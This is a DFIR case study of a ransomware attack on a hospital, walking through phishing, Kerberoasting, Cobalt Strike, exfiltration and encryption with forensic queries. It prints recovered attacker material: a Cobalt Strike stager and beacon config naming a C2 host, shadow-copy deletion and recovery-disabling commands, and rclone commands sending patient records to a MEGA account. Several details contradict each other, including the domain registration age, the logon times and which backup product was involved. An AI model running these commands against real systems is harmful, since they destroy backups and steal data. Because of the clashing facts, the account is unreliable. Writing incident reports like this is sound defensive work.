Everything Is Fine.
The Building Is Fine.

The following is a lightly anonymised account of a DFIR engagement conducted by Mjolnir Security on behalf of a regional healthcare provider. A BlackCat/ALPHV ransomware affiliate compromised a 450-bed hospital for 21 days via a phishing email, Kerberoasting, and Cobalt Strike before encrypting 847 hosts and exfiltrating 84 GB of patient records. All identifying information — organisation name, network addresses, patient data — has been redacted. The findings, forensic artifacts, and timeline are presented exactly as they were delivered to the client.

The Engagement

How We Were Called In

It was 2:47 AM on a Tuesday when the on-call phone rang. The hospital CIO had just discovered that every Windows server in the environment now had a .alphv extension appended to every filename. His first words were: “I think we have a virus.” By the time we landed on-site four hours later, the IT team had done what panicked IT teams do in the first hours of ransomware: they’d unplugged things. Randomly. With no documentation.

The head of infrastructure — nineteen years with the hospital, an excellent human being, a forensic nightmare — had personally yanked the power cords from twelve servers “just to be safe.” Four were domain controllers. Three were EMR database hosts. One was the hospital’s only network-attached backup appliance.

Initial Assessment

EDR coverage was approximately 40% of endpoints. The remaining 60% included Windows 7 workstations, Windows Server 2008 R2 nodes, and a radiology workstation running Windows XP with a handwritten note taped to the monitor: DO NOT RESTART. (The vendor, when contacted, confirmed they do not support any OS released after 2009. We wrote this in the report. Legal circled it in red.)

We imaged the surviving domain controllers, pulled firewall logs, and collected what EDR telemetry remained. The story took six hours to start emerging — and it started with an email.

Finding 1: Initial Access

Reconstructing initial access required correlating Exchange message tracking logs, Windows Security Event Logs, and OWA (Outlook Web Access) IIS logs from the Exchange server. The Exchange server retained 30 days of message tracking data — one of the few evidence sources that survived the encryption event because Exchange stores tracking logs in a non-standard path that the ransomware binary’s exclusion list did not cover.

# Search message tracking logs for inbound mail to the phished user
Get-MessageTrackingLog -Start "2022-06-01 00:00:00" `
    -End "2022-06-22 23:59:59" `
    -Recipients "█████@████hospital.org" `
    -EventId "DELIVER" |
    Where-Object { $_.Sender -notlike "*████hospital.org" } |
    Select-Object Timestamp, Sender, MessageSubject, SourceContext |
    Sort-Object Timestamp

Timestamp           : 2022-██-██ 09:11:42
Sender              : payroll-noreply@secure-██████.com
MessageSubject      : URGENT: Direct Deposit Update Required
SourceContext        : {███.███.███.███}

# Domain registered 48 hours before delivery. SPF: pass (sender IP
# authorised). DKIM: pass. DMARC: none (hospital had no DMARC policy).

The email had been delivered at 09:11 on a Wednesday morning to Margaret, an accounts payable coordinator. The sending domain — secure-██████.com — had been registered six days prior. The message contained a single link to a credential-harvesting page styled to resemble the hospital’s Outlook Web Access portal.

Security event logs showed the harvested credentials were first used from a Tor exit node at 23:58 the same evening — 14 hours and 47 minutes after delivery. The adversary had all day:

# Identify external logon events to Exchange/OWA
Get-WinEvent -FilterHashtable @{
    LogName   = 'Security'
    Id        = 4624
    StartTime = '2022-06-03'
    EndTime   = '2022-06-04'
} | Where-Object {
    $_.Properties[8].Value -eq 10 -and
    $_.Properties[18].Value -notlike "10.*" -and
    $_.Properties[18].Value -notlike "192.168.*"
} | Select-Object TimeCreated,
    @{N='User';E={$_.Properties[5].Value}},
    @{N='SourceIP';E={$_.Properties[18].Value}},
    @{N='LogonType';E={$_.Properties[8].Value}}

TimeCreated         : 2022-06-03 10:01:38
User                : █████
SourceIP            : 185.220.101.███
LogonType           : 10

# 185.220.101.0/24 is a known Tor exit node range operated by
# Tor Project relay “████████”. Confirmed via Tor relay list
# snapshot from the same date.

Finding 2: Cobalt Strike C2

From Margaret’s authenticated session, the adversary ran a sequence of reconnaissance commands via cmd.exe spawned under the Exchange Outlook Web Access worker process — w3wp.exe. The EDR process tree was unambiguous: w3wp.exe → cmd.exe → powershell.exe. This is a textbook OWA-spawned shell.

The process tree recovered from EDR telemetry showed the following execution chain:

w3wp.exe (IIS Application Pool: MSExchangeOWAAppPool)
  └─ cmd.exe /c "powershell -nop -w hidden -encodedcommand JABzAD0ATg..."
       └─ powershell.exe
            └─ [In-memory Cobalt Strike beacon - no child processes]

Decoding the Base64 payload from the Script Block Log revealed a standard Cobalt Strike stager:

$s=New-Object IO.MemoryStream(,
    [Convert]::FromBase64String("H4sIAAAAAAAAA████████..."));
$d=(New-Object IO.Compression.GzipStream(
    $s,[IO.Compression.CompressionMode]::Decompress)).ReadToEnd();
IEX (New-Object IO.StreamReader(
    New-Object IO.MemoryStream(,$d))).ReadToEnd()

# Decompressed payload: reflective DLL loader for Cobalt Strike
# beacon. Connects to C2 over HTTPS on port 443.

We extracted the Cobalt Strike beacon configuration from memory using 1768.py (Didier Stevens' beacon config parser):

# Extracted Cobalt Strike Beacon Configuration
BeaconType          : HTTPS
Port                : 443
SleepTime           : 60000   # 60 seconds
Jitter              : 20      # 20% jitter
C2Server            : secure-hr-portal-update[.]com,/s/ref=nb_sb_noss_1/
UserAgent           : Mozilla/5.0 (Windows NT; Trident/7.0; rv:11.0) like Gecko
HttpGetHeader       : Cookie: session=__cfduid=
HttpPostUri         : /N4215/adj/amzn/detail
SpawnTo             : %windir%\syswow64\dllhost.exe
PipeName            : (not set)
MallProfile         : Amazon CloudFront imitation (URI + header pattern match confirmed)

Finding 3: Lateral Movement

Within hours of establishing C2, the affiliate performed Kerberoasting — requesting Kerberos TGS tickets for service accounts using RC4 encryption, then cracking them offline. This technique leaves a distinctive forensic footprint in the domain controller’s Security event log.

# Detect Kerberoasting: TGS requests using RC4 encryption
Get-WinEvent -FilterHashtable @{
    LogName   = 'Security'
    Id        = 4769
    StartTime = '2022-06-03'
    EndTime   = '2022-06-05'
} | Where-Object {
    $_.Properties[5].Value -eq "0x17" -and
    $_.Properties[6].Value -ne "0x0"
} | Group-Object {$_.Properties[0].Value} |
    Sort-Object Count -Descending |
    Select-Object -First 10 Name, Count

Name                                    Count
----                                    -----
svc_backupexec                            847
svc_sqlprod                               312
svc_sccm                                  298
svc_antivirus                             156
svc_print                                  89

# 1,702 RC4 TGS requests from a single workstation (IP: 10.███.███.███)
# in a 23-minute window on 2022-06-03 between 14:31 and 14:54.
# Normal baseline for the entire domain: <20 RC4 TGS requests per day.

The affiliate cracked the password for svc_backupexec offline. The password had not been changed in four years. It was an 11-character dictionary word with a single digit appended. The account was a member of Domain Admins — a common misconfiguration where backup software documentation recommends “administrative privileges” and IT teams interpret this as Domain Admin membership rather than creating a dedicated OU-scoped account.

With Domain Admin credentials, the affiliate used BloodHound for Active Directory reconnaissance. We recovered the LDAP queries from domain controller debug logging:

# SharpHound collection queries observed in DC LDAP debug logs
# Timestamp: 2022-06-04 02:17:xx - 02:34:xx (17-minute collection)

(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))
# ^^ Enumerate all domain controllers

(&(objectCategory=group)(|(cn=Domain Admins)(cn=Enterprise Admins)(cn=Administrators)))
# ^^ Enumerate privileged groups and memberships

(&(objectCategory=user)(servicePrincipalName=*))
# ^^ Enumerate all Kerberoastable accounts

(&(objectCategory=computer)(operatingSystem=*server*))
# ^^ Enumerate all server operating systems

(&(objectCategory=organizationalUnit))
# ^^ Map OU structure for GPO analysis

Finding 4: Pre-Encryption Staging

In the days before ransomware detonation, the affiliate methodically disabled recovery options, destroyed Volume Shadow Copies, and exfiltrated data. This staging phase is where the most damage was done — by the time the ransom notes appeared, the hospital had already lost its ability to recover without paying.

Shadow Copy Destruction

The affiliate used three separate methods to destroy Volume Shadow Copies — belt, braces, and a second belt:

# Method 1: WMI shadow copy deletion
Get-WmiObject Win32_ShadowCopy | ForEach-Object { $_.Delete() }

# Method 2: vssadmin direct deletion
vssadmin delete shadows /all /quiet

# Method 3: wmic (legacy, covers older OS versions)
wmic shadowcopy delete

# Disable Windows Recovery Environment
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures

Data Exfiltration

The affiliate exfiltrated approximately 84 GB of data over a 72-hour period using rclone to a MEGA.io cloud storage account. We identified the exfiltration from the perimeter firewall logs:

# Parse Palo Alto firewall logs for large outbound transfers
cat pa_traffic_2022-06-*.log | \
    awk -F',' '$7 > 1000000000 {print $1, $3, $4, $5, $6, $7/1073741824 "GB"}' | \
    sort -k6 -rn | head -20

# Results: 10.███.███.███ → 66.203.125.0/24 (MEGA infrastructure)
# Total: 84.3 GB across 47 sessions over 72 hours
# Peak transfer rate: ~3.2 MB/s sustained

The rclone configuration file was recovered from the compromised host’s %APPDATA% directory:

# rclone.conf recovered from █████\AppData\Roaming\rclone\rclone.conf
[mega_exfil]
type = mega
user = ████████@protonmail.com
pass = ████████████████████

# Transfer command reconstructed from prefetch + USN journal:
# rclone copy "E:\Shares\Patient Records" mega_exfil:dump1 --transfers 4
# rclone copy "E:\Shares\HR" mega_exfil:dump2 --transfers 4
# rclone copy "E:\Shares\Finance" mega_exfil:dump3 --transfers 4

Finding 5: Ransomware Detonation

The ransomware binary was deployed via PsExec and Group Policy to 847 hosts simultaneously at 01:12 AM on a Tuesday morning — timed for minimum staffing and maximum dwell before detection. The binary was the ALPHV/BlackCat ransomware written in Rust, identifiable by its file extension pattern, ransom note format, and embedded configuration.

# Extract embedded JSON config from BlackCat binary
strings -n 10 ██████.exe | python3 -c "
import sys, json, re
data = sys.stdin.read()
match = re.search(r'\{.*\"extension\".*\"public_key\".*\}', data, re.DOTALL)
if match:
    config = json.loads(match.group())
    print(json.dumps(config, indent=2))
"

{
  "extension": "██████",
  "note_file_name": "RECOVER-██████-FILES.txt",
  "public_key": "████████████...truncated",
  "enable_network_discovery": true,
  "enable_self_propagation": true,
  "enable_set_wallpaper": true,
  "enable_esxi_vm_kill": false,
  "strict_include_paths": [],
  "exclude_directory_names": [
    "system volume information",
    "$recycle.bin",
    "boot",
    "windows",
    "perflogs"
  ],
  "exclude_file_extensions": [
    "exe", "dll", "sys", "msi", "lnk", "bat"
  ],
  "credentials": [
    {"user": "svc_backupexec", "password": "███████████"},
    {"user": "████admin", "password": "████████████"}
  ]
}

Attack Timeline

The following timeline was reconstructed from the forensic artifacts described above. All times are in the hospital’s local timezone.

Lessons Learned

For Incident Responders

1. Exchange Message Tracking Logs survive more than you expect. The ALPHV/BlackCat ransomware excluded the Exchange TransportRoles log path from encryption. This is not guaranteed in all variants, but in this case it gave us 30 days of inbound/outbound email metadata that reconstructed the entire initial access chain. Always check non-standard log paths early.
2. PowerShell Script Block Logging is your best friend when EDR is absent. The Exchange server had no EDR, but GPO-enforced Script Block Logging (Event ID 4104) captured the decoded Cobalt Strike stager, all post-exploitation PowerShell commands, and the BloodHound collection scripts. Push for Script Block Logging in every GPO.
3. Kerberoasting leaves a loud trail — if you know where to look. 1,702 RC4 TGS requests in 23 minutes is not subtle. But without a SIEM or any log aggregation, these events existed only in the domain controller’s local Security event log with a 7-day retention window. We recovered them only because the DC’s event log had not yet rolled over. In a 10-day-older engagement, this evidence would have been lost.
4. Backups are only as secure as the credentials that access them. The Veeam backup appliance was destroyed not by a vulnerability in Veeam, but because the Veeam service account was a Domain Admin with a 4-year-old password. The attacker used legitimate credentials to connect to the backup repositories and encrypt them. Isolate backup credentials from the production AD domain.

For Security Engineers & Healthcare IT

1. 100% EDR coverage or 0% EDR coverage. Partial EDR deployment creates a false sense of security. The hospital had EDR on 40% of endpoints — none of which were the servers that mattered most. The attacker operated almost exclusively on hosts without EDR. If budget constrains full deployment, prioritise servers and domain controllers over workstations.
2. DMARC is not optional. The phishing email passed SPF and DKIM because the attacker set up legitimate DNS records for their disposable domain. A DMARC policy of p=reject on the hospital’s domain would not have stopped this specific email (it came from an external domain), but DMARC with DKIM alignment on the impersonated vendor’s domain would have. Work with your vendors to verify their DMARC posture.
3. Service account hygiene is a ransomware prevention control. The entire lateral movement and privilege escalation chain depended on a single Kerberoastable service account with Domain Admin privileges and a weak, ancient password. Enforce gMSA (Group Managed Service Accounts) where possible. Where gMSA is not supported, enforce 25+ character passwords rotated every 90 days, remove DA membership, and scope permissions to the minimum required OUs.
4. Network segmentation is non-negotiable in healthcare. A single /16 flat network meant the ransomware propagated from the Exchange server to radiology workstations to the nurse call system boundary in minutes. Clinical devices, servers, workstations, and guest Wi-Fi must be on separate VLANs with firewall rules controlling east-west traffic. This is not aspirational — it is a compliance requirement under HIPAA Security Rule §164.312(e)(1).